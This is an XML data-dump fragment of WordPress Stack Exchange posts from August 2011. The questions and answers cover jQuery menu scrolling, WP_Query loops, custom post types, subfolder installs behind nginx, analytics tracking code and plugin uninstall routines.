  <row Id="25900" PostTypeId="2" ParentId="25867" CreationDate="2011-08-14T19:19:36.303" Score="0" ViewCount="" Body="&lt;p&gt;You could do it with JavaScript by trapping any clicks on your menu and scrolling the page. Here's an example using jQuery that matches the link's title to the contents of an h1 and scrolls the page to it.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA;jQuery(document).ready(function($) {&#xA;    $('ul#main-menu a').click(function(){&#xA;        thisTitle = $(this).attr('title');&#xA;        $('html,body').animate({&#xA;            scrollTop: $(&quot;h1:contains('&quot;+ thisTitle +&quot;')&quot;).offset().top&#xA;        },'slow');&#xA;        return false;                                  &#xA;    });&#xA;});&#xA;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;your menu...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;ul id=&quot;main-menu&quot;&amp;gt;&#xA;    &amp;lt;li&amp;gt;&amp;lt;a href=&quot;/about/&quot; title=&quot;About&quot;&amp;gt;About&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;&amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and then your title somewhere on the page...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;h1&amp;gt;About&amp;lt;/h1&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;of course, that requires JavaScript be enabled, but you could set up your theme with a fallback template to render your individual pages in the rare case your visitors don't have js enabled and go directly to the page. Just make sure those pages don't get indexed by search engines.&lt;/p&gt;&#xA;" OwnerUserId="4771" LastActivityDate="2011-08-14T19:19:36.303" CommentCount="3" />
  <row Id="25901" PostTypeId="2" ParentId="25871" CreationDate="2011-08-14T19:31:20.953" Score="0" ViewCount="" Body="&lt;p&gt;You check for &lt;code&gt;&amp;lt;!--pageauthor:&lt;/code&gt;, but you expect it to start on the second character (&lt;code&gt;1 === $has_part_title2&lt;/code&gt;) (you even have a typo there and left the &lt;code&gt;2&lt;/code&gt; off). This will not work, because &lt;code&gt;&amp;lt;!--pagetitle:&lt;/code&gt; is still part of that string (you don't chop it off).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You should either chop it off (do a substring in &lt;code&gt;$part_content2 = $pages[$i-1]&lt;/code&gt;), or allow it to appear later in the post (&lt;code&gt;false !== $has_part_title2&lt;/code&gt;).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$has_part_title2 = strpos( $part_content2, '&amp;lt;!--pageauthor:' );&#xA;if( false !== $has_part_title2 ) {&#xA;    $end2 = strpos( $part_content2, '--&amp;gt;' );&#xA;    $title2 = trim( str_replace( '&amp;lt;!--pageauthor:', '', substr( $part_content2, 0, $end2 ) ) );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="8" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2011-08-14T21:06:24.240" LastActivityDate="2011-08-14T21:06:24.240" CommentCount="3" />
  <row Id="25902" PostTypeId="1" CreationDate="2011-08-14T19:38:54.390" Score="0" ViewCount="32" Body="&lt;p&gt;I am trying to add a modal box to the images I am looping for posts. &#xA;I found this solution on how to loop images attached to a post for my theme, however, now i would like it to when the user clicks the image, the bigger image pops open a modal box. I am using the &quot;reveal&quot; modal script. Found here &lt;a href=&quot;http://www.zurb.com/playground/reveal-modal-plugin&quot; rel=&quot;nofollow&quot;&gt;http://www.zurb.com/playground/reveal-modal-plugin&lt;/a&gt;&#xA;I have it half working, when the user clicks the image, it pops open the modal box, but shows the the images in the array, rather than that indvual one. See attached code for my set up so far. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any idea on how to adjust this to pop open only the individual image? &#xA;FYI: I am using wordpress 3.2, in case that matters. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&#xA;&lt;code&gt;&#xA;function getcustomimages($size = thumbnail) {&#xA;&#xA;    if($images = get_children(array(&#xA;        'post_parent'    =&gt; get_the_ID(),&#xA;        'post_type'      =&gt; 'attachment',&#xA;        'numberposts'    =&gt; -1, // show all&#xA;        'post_status'    =&gt; null,&#xA;        'post_mime_type' =&gt; 'image',&#xA;    ))) {&#xA;        foreach($images as $image) {&#xA;            $attimg   = wp_get_attachment_image($image-&gt;ID,$size);&#xA;            $atturl   = wp_get_attachment_url($image-&gt;ID);&#xA;            //$attlink  = get_attachment_link($image-&gt;ID);&#xA;            //$postlink = get_permalink($image-&gt;post_parent);&#xA;            //$atttitle = apply_filters('the_title',$image-&gt;post_title);&#xA;&#xA;            echo '&lt;p&gt;'.$attimg.'&lt;/p&gt;';&#xA;        }&#xA;    }&#xA;}&#xA;&#xA;&lt;/code&gt;&#xA;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then in single i have this code (minus the php cause this site strips it)&#xA;&lt;code&gt;&#xA; if ( have_posts() ) while ( have_posts() ) : the_post();&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;echo the_content(); &lt;/p&gt;&#xA;&#xA;&#xA;&lt;p&gt; getcustomimages('large'); &lt;/p&gt;&#xA;&#xA;&#xA;&lt;p&gt; getcustomimages('thumb'); &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&#xA; endwhile; // end of the loop. &#xA;&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="7888" LastActivityDate="2011-08-14T19:38:54.390" Title="Ad modal box to wordpress images" Tags="&lt;images&gt;&lt;wordpress.org&gt;" />
  <row Id="25903" PostTypeId="2" ParentId="25867" CreationDate="2011-08-14T19:44:31.713" Score="0" ViewCount="" Body="&lt;p&gt;The custom navigation menu admin page allows you to set four extra properties (accessible by enabling them under &quot;Screen Options&quot; at the top of the page):&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Link Target&lt;/li&gt;&#xA;&lt;li&gt;CSS Classes&lt;/li&gt;&#xA;&lt;li&gt;Link Relationship (XFN)&lt;/li&gt;&#xA;&lt;li&gt;Description&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;But if you only need to use the front page as an exception, isn't it easier to just check the link and, if it is the front page, don't use the title?&lt;/p&gt;&#xA;" OwnerUserId="8" LastActivityDate="2011-08-14T19:44:31.713" CommentCount="1" />
  <row Id="25904" PostTypeId="1" AcceptedAnswerId="25933" CreationDate="2011-08-14T20:00:36.337" Score="0" ViewCount="16" Body="&lt;p&gt;I have my self hosted wordpress blog &lt;a href=&quot;http://blog.geotitles.com/&quot; rel=&quot;nofollow&quot; title=&quot;Geo Web Station&quot;&gt;here&lt;/a&gt; I recently created a blog post which is very long with so many pictures and text, but i suddenly found that my blog post was not displayed&#xA;but if i cut short the length by deleting some content then the blog gets displayed&#xA;can anyone help ?&#xA;Thanks in advance&#xA;&lt;a href=&quot;http://blog.geotitles.com/2011/08/top-10-most-popular-file-upload-scripts-live-demo-and-free-downloadpart-1/&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt; is the link to my blog post which is not getting displayed&lt;/p&gt;&#xA;" OwnerUserId="7889" LastActivityDate="2011-08-15T06:32:06.043" Title="long blog post on self hosted wordpress blog not displayed" Tags="&lt;posts&gt;&lt;blog&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="25905" PostTypeId="1" CreationDate="2011-08-14T20:08:16.523" Score="0" ViewCount="43" Body="&lt;p&gt;We have a custom post type called teammember. We would like to make the author displayed on a blog post come from the list of teammembers (teammembers submit entries which are posted by specific people after being edited. the actual author field stays as the user who posted the item.)&#xA;That is what we have done so far.&#xA;Now I would like to change it so that a &lt;code&gt;wp_query&lt;/code&gt; for &lt;code&gt;'author_name=...'&lt;/code&gt; will return the teammember and not the actual WordPress author. (The reason is that we already have queries that use author and it would be a significant undertaking to change them all.)&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Clarification&lt;br&gt;&#xA;We have metadata set on each post called post_authors (and there can be more than one set.)&lt;br&gt;&#xA;We changed the template to load this metadata on the single.php page instead of the post_author that is built in.&lt;br&gt;&#xA;We would now like to have a way to display all posts by a particular author.&lt;br&gt;&#xA;I know we could do a custom page, but I wanted to find out if there is a way to override the /author/%author_name% permalink.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can see an example at &lt;a href=&quot;http://2011.solarteam.org/blog/watershed%E2%80%99s-integrated-approach-to-engineered-system-design&quot; rel=&quot;nofollow&quot;&gt;http://2011.solarteam.org/blog/watershed%E2%80%99s-integrated-approach-to-engineered-system-design&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5067" LastEditorUserId="5067" LastEditorDisplayName="" LastEditDate="2011-08-16T04:36:04.487" LastActivityDate="2011-08-16T04:36:04.487" Title="Replace authors with custom post type" Tags="&lt;custom-post-types&gt;&lt;author&gt;" AnswerCount="1" />
  <row Id="25906" PostTypeId="1" CreationDate="2011-08-14T20:41:55.590" Score="0" ViewCount="30" Body="&lt;p&gt;[I just posted this on the WP Forums, too, before anyone starts Googling and saying that this is posted somewhere else]&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm hoping this isn't a duplicate, but I've been searching here and Googling and I haven't been able to find anything.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm currently running a web server that constitutes nginx as both a front-end proxy to a LAMP stack and the web server for static sites. I'm working on some development for a site that will be powered by WP.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently, mysite.com is served up by nginx as a static site. The WP install will be served out of a subfolder, mysite.com/sub. The document root for the nginx server (the static files) and the document root for the Apache server (all dynamic content, and also where the WP files are currently installed) are NOT the same directory. I want to install WP in mysite.com/sub so that only this subdirectory is powered by WP while completely ignoring the root of my site but all of the articles I have read discuss using WP to power the root while simply installing the files elsewhere.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It took me forever to write all the correct proxy passing rules in my nginx configuration just to make the installation happen properly, and that is all good and well, but WordPress is operating out of mysite.com instead of mysite.com/sub and I'm not 100% sure what the easiest way to fix this is, since mysite.com isn't powered by Apache and so there are no PHP or .htaccess files to tinker with in the root of that directory.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I realize that this is sort of rambling and difficult to explain, I'll be happy to provide answer to any questions for anyone that thinks they can point me down the right path.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would prefer to use this structure instead of using a subdomain, so if anyone out there has any suggestions I'd really appreciate it.&lt;/p&gt;&#xA;" OwnerUserId="7891" LastActivityDate="2011-08-15T02:01:57.577" Title="Powering only a subfolder with WordPress on a LAMP stack with an nginx reverse proxy" Tags="&lt;installation&gt;&lt;apache&gt;&lt;subdirectories&gt;&lt;nginx&gt;" AnswerCount="1" />
  <row Id="25907" PostTypeId="2" ParentId="25870" CreationDate="2011-08-14T21:54:49.117" Score="0" ViewCount="" Body="&lt;p&gt;it was the kimili embed causing problems, embedded in different way and now working. Thanks for all the help!.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;final code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;      &amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA; function helloWorld() {&#xA;       alert('Hello World function yeah');&#xA; }&#xA;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and AS3:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; function AddToBasket(event:MouseEvent):void{&#xA;ExternalInterface.call(&quot;helloWorld&quot;);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and embedded swf code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;object classid=&quot;clsid:d27cdb6e-ae6d-11cf-96b8-444553540000&quot; codebase=&quot;macromedialinkremoved/pub/shockwave/cabs/flash/swflash.cab&quot; width=&quot;728&quot; height=&quot;500&quot; id=&quot;ImageUploader&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;/p&gt;&#xA;" OwnerUserId="5225" LastActivityDate="2011-08-14T21:54:49.117" />
  <row Id="25908" PostTypeId="2" ParentId="25885" CreationDate="2011-08-14T22:36:12.053" Score="0" ViewCount="" Body="&lt;p&gt;Try this tutorial:&#xA;&lt;a href=&quot;http://wpcanyon.com/tipsandtricks/automatically-create-a-page-on-theme-activation/&quot; rel=&quot;nofollow&quot;&gt;wpcanyon&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="6851" LastActivityDate="2011-08-14T22:36:12.053" CommentCount="1" />
  <row Id="25909" PostTypeId="2" ParentId="25896" CreationDate="2011-08-14T22:58:05.103" Score="0" ViewCount="" Body="&lt;p&gt;Have you tried looking at server error logs? What are permissions on your various wp-* files?&lt;/p&gt;&#xA;" OwnerUserId="6024" LastActivityDate="2011-08-14T22:58:05.103" />
  <row Id="25910" PostTypeId="1" AcceptedAnswerId="25979" CreationDate="2011-08-14T23:21:36.513" Score="3" ViewCount="242" Body="&lt;p&gt;I'm making a wordpress plugin. What are typical things I should include in the uninstall feature?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, should I delete any tables I created in the install function?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do I clean up my option entries?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anything else?&lt;/p&gt;&#xA;" OwnerUserId="2417" LastEditorUserId="385" LastEditorDisplayName="" LastEditDate="2011-08-21T14:57:20.767" LastActivityDate="2011-08-22T16:59:46.963" Title="Uninstall, Activate, Deactivate a plugin: typical features &amp; how-to" Tags="&lt;plugins&gt;&lt;activation&gt;&lt;uninstallation&gt;&lt;deactivation&gt;" AnswerCount="1" FavoriteCount="2" />
  <row Id="25911" PostTypeId="2" ParentId="25891" CreationDate="2011-08-15T00:11:12.473" Score="0" ViewCount="" Body="&lt;p&gt;Use &lt;a href=&quot;http://wordpress.org/extend/plugins/share-this/&quot; rel=&quot;nofollow&quot;&gt;sharethis&lt;/a&gt; plugin. That is the best what i used so far&lt;/p&gt;&#xA;" OwnerUserId="5074" LastActivityDate="2011-08-15T00:11:12.473" CommentCount="2" />
  <row Id="25912" PostTypeId="1" AcceptedAnswerId="25915" CreationDate="2011-08-15T00:14:42.187" Score="0" ViewCount="15" Body="&lt;p&gt;I use piwik analytics to track the visitors to my website. I recently created a blog on WordPress and wanted to added the same tracking code that I use on the plain HTML webpage. How can I added the tracking script in the php in order to track my blog visitors?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thanks!&lt;/p&gt;&#xA;" OwnerUserId="7893" LastActivityDate="2011-08-15T01:42:28.157" Title="Add Piwik Tracking code to page" Tags="&lt;html&gt;" AnswerCount="1" />
  <row Id="25913" PostTypeId="1" CreationDate="2011-08-15T01:07:56.153" Score="1" ViewCount="19" Body="&lt;p&gt;Can I run the save a wordpress site under different domain names? Like mydomain.com and mydomain.net ? Where the domain name will NOT change in the address bar of web browser.&lt;/p&gt;&#xA;" OwnerUserId="238" LastActivityDate="2011-08-15T03:38:37.417" Title="Can I have the same wordpress site under different url?" Tags="&lt;domain&gt;&lt;domain-mapping&gt;" AnswerCount="1" />
  <row Id="25914" PostTypeId="1" CreationDate="2011-08-15T01:26:26.947" Score="0" ViewCount="29" Body="&lt;p&gt;I'm sort of a noob when it comes to Wordpess; I've only recently started building themes and I've run into a wall. I'm trying to feature 3 different articles at the top of my site using wpquery and for some reason it's only displaying one. I'll include my code below and if anyone can help my figure out what's wrong I would be very grateful! &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Code included in pastebin: &lt;a href=&quot;http://pastebin.com/1DB7vent&quot; rel=&quot;nofollow&quot;&gt;http://pastebin.com/1DB7vent&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm trying to get a setup similar to this:&#xA;[div class=&quot;site_width&quot;]&#xA;    [ul]&#xA;          [li]&#xA;               [a h*ref=&quot;FeaturedLink1&quot;]&#xA;                   [i*mg s*rc=&quot;FeaturedLink1 Featured Image]&#xA;               [/a]&#xA;               [label]&#xA;                   [a h*ref=&quot;FeaturedLink1&quot;]&#xA;                         &quot;Featured Link Title&quot;&#xA;                   [/a]&#xA;               [/label]&#xA;          [/li]&#xA;          [Repeat format for two more posts]&#xA;    [/ul]&#xA;[/div]&lt;/p&gt;&#xA;&#xA;&lt;p&gt;[]'s &amp;amp; *'s included to prevent se from thinking I'm spamming&lt;/p&gt;&#xA;" OwnerUserId="7894" LastActivityDate="2011-08-15T02:20:26.240" Title="Help with Wordpress Query" Tags="&lt;themes&gt;&lt;functions&gt;&lt;loop&gt;&lt;query&gt;&lt;codex&gt;" AnswerCount="1" />
  <row Id="25915" PostTypeId="2" ParentId="25912" CreationDate="2011-08-15T01:42:28.157" Score="0" ViewCount="" Body="&lt;p&gt;Add the tracking code to one of your theme files, most likely &lt;code&gt;footer.php&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The easiest way to do this is to go to your admin panel and go to Appearance &gt; Editor, and on the right side, find the entry for Footer (footer.php), and then insert the code right before the closing &lt;code&gt;&amp;lt;/body&amp;gt;&lt;/code&gt; tag. Update the file by clicking the button below the text box, and you should be good!&lt;/p&gt;&#xA;" OwnerUserId="7105" LastActivityDate="2011-08-15T01:42:28.157" CommentCount="2" />
  <row Id="25916" PostTypeId="2" ParentId="25914" CreationDate="2011-08-15T01:46:18.777" Score="1" ViewCount="" Body="&lt;p&gt;After calling get_recent_posts() (or any other loop query), you typically have to run a &lt;code&gt;foreach&lt;/code&gt; or &lt;code&gt;while&lt;/code&gt; loop to cycle through the posts.  So, you'll need to change this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;?php&#xA;    $args = array( 'tag' =&amp;gt; 'featured', 'posts_per_page' =&amp;gt; '3' );&#xA;    $recent_posts = wp_get_recent_posts( $args );&#xA;    ?&amp;gt;&#xA;&#xA;&amp;lt;!-- Your HTML and Wordpress template tags here. --&amp;gt;&#xA;&#xA;            &amp;lt;?php wp_reset_query(); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;?php&#xA;    $args = array( 'tag' =&amp;gt; 'featured', 'posts_per_page' =&amp;gt; '3' );&#xA;            $the_query = new WP_Query( $args );&#xA;            //start the WP_Query loop&#xA;            while ( $the_query-&amp;gt;have_posts() ) : $the_query-&amp;gt;the_post();&#xA;    ?&amp;gt;&#xA;&#xA;&amp;lt;!-- Your HTML and Wordpress template tags here. --&amp;gt;&#xA;&#xA;            &amp;lt;?php endwhile; //end the WP_Query loop ?&amp;gt;&#xA;            &amp;lt;?php wp_reset_query(); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note that if you're ever wondering why a Wordpress function isn't working as expected, you can find that function's entry in the codex and (usually) see an example of use in practice.&#xA;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_get_recent_posts&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Function_Reference/wp_get_recent_posts&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3564" LastEditorUserId="3564" LastEditorDisplayName="" LastEditDate="2011-08-15T02:20:26.240" LastActivityDate="2011-08-15T02:20:26.240" CommentCount="6" />
  <row Id="25917" PostTypeId="2" ParentId="25906" CreationDate="2011-08-15T02:01:57.577" Score="0" ViewCount="" Body="&lt;p&gt;WordPress needs no special configuration to install in a subdirectory. Simply install it in mysite.com/sub, and run mysite.com/sub/install.php. WordPress will know its location, and will use mysite.com/sub as its URL.&lt;/p&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-08-15T02:01:57.577" CommentCount="3" />
  <row Id="25918" PostTypeId="2" ParentId="23716" CreationDate="2011-08-15T02:05:10.507" Score="1" ViewCount="" Body="&lt;p&gt;While this could be caused by a variety of different issues, here are some general steps to take to try and troubleshoot it.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Completely delete the plugin (deactivate and then delete files) and then re-install it. Simple, I know, but often works wonders. Try uploading the plugin files manually as well as installing from within the admin panel using the search to see if either make a difference.&lt;/li&gt;&#xA;&lt;li&gt;Try installing the plugin using the &lt;a href=&quot;http://wordpress.org/extend/plugins/jetpack/&quot; rel=&quot;nofollow&quot;&gt;Jetpack combo&lt;/a&gt; plugin.&lt;/li&gt;&#xA;&lt;li&gt;Look in the plugin's folder for a &lt;code&gt;.htaccess&lt;/code&gt; file. If found, rename it to &lt;code&gt;htaccess&lt;/code&gt; (drop the period) and see if that solves it. If so, your server configuration needs to change slightly. &#xA;&lt;ol&gt;&#xA;&lt;li&gt;Rename the file back to &lt;code&gt;.htaccess&lt;/code&gt; (put the period back)&lt;/li&gt;&#xA;&lt;li&gt;Add &lt;code&gt;AllowOverride FileInfo Limit&lt;/code&gt; to the top of the &lt;code&gt;.htaccess&lt;/code&gt; file&lt;/li&gt;&#xA;&lt;li&gt;Test again. For more info see here: &lt;a href=&quot;http://wordpress.org/support/topic/plugin-wordpresscom-stats-stats-graph-missing-after-update#post-1366537&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/support/topic/plugin-wordpresscom-stats-stats-graph-missing-after-update#post-1366537&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;If none of the above work, then let us know what server and OS you're running, as well as any errors in your PHP and error logs that you may think are relevant.&lt;/p&gt;&#xA;" OwnerUserId="7105" LastActivityDate="2011-08-15T02:05:10.507" CommentCount="2" />
  <row Id="25919" PostTypeId="2" ParentId="16906" CreationDate="2011-08-15T02:22:21.473" Score="0" ViewCount="" Body="&lt;p&gt;As a follow up to @Daniel Dvorkin Answer: I guess you could &quot;simply&quot; hook two functions. One that is fired on login and another one triggered on logout. In both cases you could add some user meta data: logged in/out. If someone is checked in and checks in another time, you will already know in your login action.&lt;/p&gt;&#xA;" OwnerUserId="385" LastActivityDate="2011-08-15T02:22:21.473" />
  <row Id="25920" PostTypeId="1" CreationDate="2011-08-15T02:39:52.677" Score="2" ViewCount="28" Body="&lt;p&gt;I'm looking for advertising manager so i can handle all the ads, and AdSense units in one place.&#xA; i used open until now but its seems they are going to deprecate their system (the open source one) - what are you using then?&lt;/p&gt;&#xA;" OwnerUserId="7895" LastActivityDate="2011-08-15T02:39:52.677" Title="OpenX Alternative for wordpress?" Tags="&lt;adsense&gt;" />
  <row Id="25921" PostTypeId="1" CreationDate="2011-08-15T02:17:21.770" Score="0" ViewCount="15" Body="&lt;p&gt;I have a wordpress website here at &lt;a href=&quot;http://Jwlry.Co&quot; rel=&quot;nofollow&quot;&gt;http://Jwlry.Co&lt;/a&gt; and I am trying to find a plugin that will allow me to charge authors a monthly subscription to post on my site but all content they post will be FREE to everyone viewing the website. Multiple subscription types would be great. Free would be great but a decent priced paid option would be considered.&lt;/p&gt;&#xA;" LastActivityDate="2011-08-15T02:40:49.627" Title="Wordpress Subscription for Authors" Tags="&lt;subscription&gt;" />
  <row Id="25922" PostTypeId="1" AcceptedAnswerId="25923" CreationDate="2011-08-15T03:01:56.400" Score="0" ViewCount="19" Body="&lt;pre&gt;&lt;code&gt;$saved = $wp_query; query_posts(array('tag__in' =&amp;gt; $tag_array, 'showposts' =&amp;gt; $args['posts_per_page']));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I need this to query standard posts and a custom post type called &quot;property&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can't seem to get it to show anything from the custom post type when I tried to include another array.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thoughts?&lt;/p&gt;&#xA;" OwnerUserId="4902" LastActivityDate="2011-08-15T03:28:21.847" Title="Add custom post type to query" Tags="&lt;custom-post-types&gt;&lt;loop&gt;&lt;query&gt;" AnswerCount="1" />
  <row Id="25923" PostTypeId="2" ParentId="25922" CreationDate="2011-08-15T03:28:21.847" Score="1" ViewCount="" Body="&lt;p&gt;You need to include &lt;code&gt;post_type=&lt;/code&gt;.&lt;br&gt;&#xA;Your query would be an array of post types since you want 2 &lt;code&gt;'post_type' =&amp;gt; array( 'post', 'property')&lt;/code&gt;&lt;br&gt;&#xA;&lt;a href=&quot;http://codex.wordpress.org/Class_Reference/WP_Query#Type_.26_Status_Parameters&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Class_Reference/WP_Query#Type_.26_Status_Parameters&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1509" LastActivityDate="2011-08-15T03:28:21.847" />
  <row Id="25924" PostTypeId="2" ParentId="25913" CreationDate="2011-08-15T03:38:37.417" Score="1" ViewCount="" Body="&lt;p&gt;Typically this is a really bad idea ( Google hates duplicate content).&lt;br&gt;&#xA;If you need to do this you can edit your servers host file, but in reality unless you have a specific reason you should be using a 301 re-direct.&lt;/p&gt;&#xA;" OwnerUserId="1509" LastActivityDate="2011-08-15T03:38:37.417" />
  <row Id="25925" PostTypeId="1" AcceptedAnswerId="25927" CreationDate="2011-08-15T03:44:02.587" Score="0" ViewCount="36" Body="&lt;p&gt;I am using the WPAlchemy MetaBox Class to create additional metaboxs on my site.  One has a section with a group of radio boxes.   I've coded it as follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;?php $mb-&amp;gt;the_field('docposs'); ?&amp;gt;&#xA;    &amp;lt;input type=&quot;radio&quot; name=&quot;&amp;lt;?php $mb-&amp;gt;the_name(); ?&amp;gt;&quot; value=&quot;yes&quot;&amp;lt;?php $mb-&amp;gt;the_radio_state('yes')?' checked=&quot;checked&quot;':''; ?&amp;gt;/&amp;gt;Yes&#xA;    &amp;lt;input type=&quot;radio&quot; name=&quot;&amp;lt;?php $mb-&amp;gt;the_name(); ?&amp;gt;&quot; value=&quot;no&quot;&amp;lt;?php $mb-&amp;gt;the_radio_state('no')?' checked=&quot;checked&quot;':''; ?&amp;gt;/&amp;gt;No&#xA;    &amp;lt;input type=&quot;radio&quot; name=&quot;&amp;lt;?php $mb-&amp;gt;the_name(); ?&amp;gt;&quot; value=&quot;unknown&quot;&amp;lt;?php $mb-&amp;gt;the_radio_state('unknown')?' checked=&quot;checked&quot;':''; ?&amp;gt; /&amp;gt;Unknown&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What I would like to be able to do in my template is echo a string based on which box returns checked, something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (checkbox == yes) {&#xA;    echo &quot;If you wish to make&quot;;&#xA;} elseif (checkbox == no) {&#xA;    echo &quot;an apple pie from scratch,&quot;;&#xA;} else {&#xA;    echo &quot;you must first invent the universe&quot;;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But I cant make it work :(&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This (and many ridiculous variations on this) just returns 'yes' instead of the echo.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ($provenance_mb-&amp;gt;the_value('docposs') == yes) {&#xA; echo 'hello world';&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any help would be appreciated.&lt;/p&gt;&#xA;" OwnerUserId="7358" LastActivityDate="2011-08-15T04:37:10.277" Title="Creating an If/Else statement using WPAlchemy MetaBox radio boxs" Tags="&lt;custom-field&gt;&lt;metabox&gt;" AnswerCount="1" CommentCount="0" />
  <row Id="25927" PostTypeId="2" ParentId="25925" CreationDate="2011-08-15T04:20:12.087" Score="0" ViewCount="" Body="&lt;p&gt;not sure what you are doing wrong, your code looks ok at first glance ... make sure you represent &lt;code&gt;yes&lt;/code&gt; and &lt;code&gt;no&lt;/code&gt; as string values ...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ( 'yes' == $provenance_mb-&amp;gt;get_the_value( 'docposs' ) ) {&#xA;    echo &quot;If you wish to make&quot;;&#xA;} else if ( 'no' == $provenance_mb-&amp;gt;get_the_value( 'docposs' ) ) {&#xA;    echo &quot;an apple pie from scratch,&quot;;&#xA;} else {&#xA;    echo &quot;you must first invent the universe&quot;;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="466" LastEditorUserId="466" LastEditorDisplayName="" LastEditDate="2011-08-15T04:37:10.277" LastActivityDate="2011-08-15T04:37:10.277" CommentCount="2" />
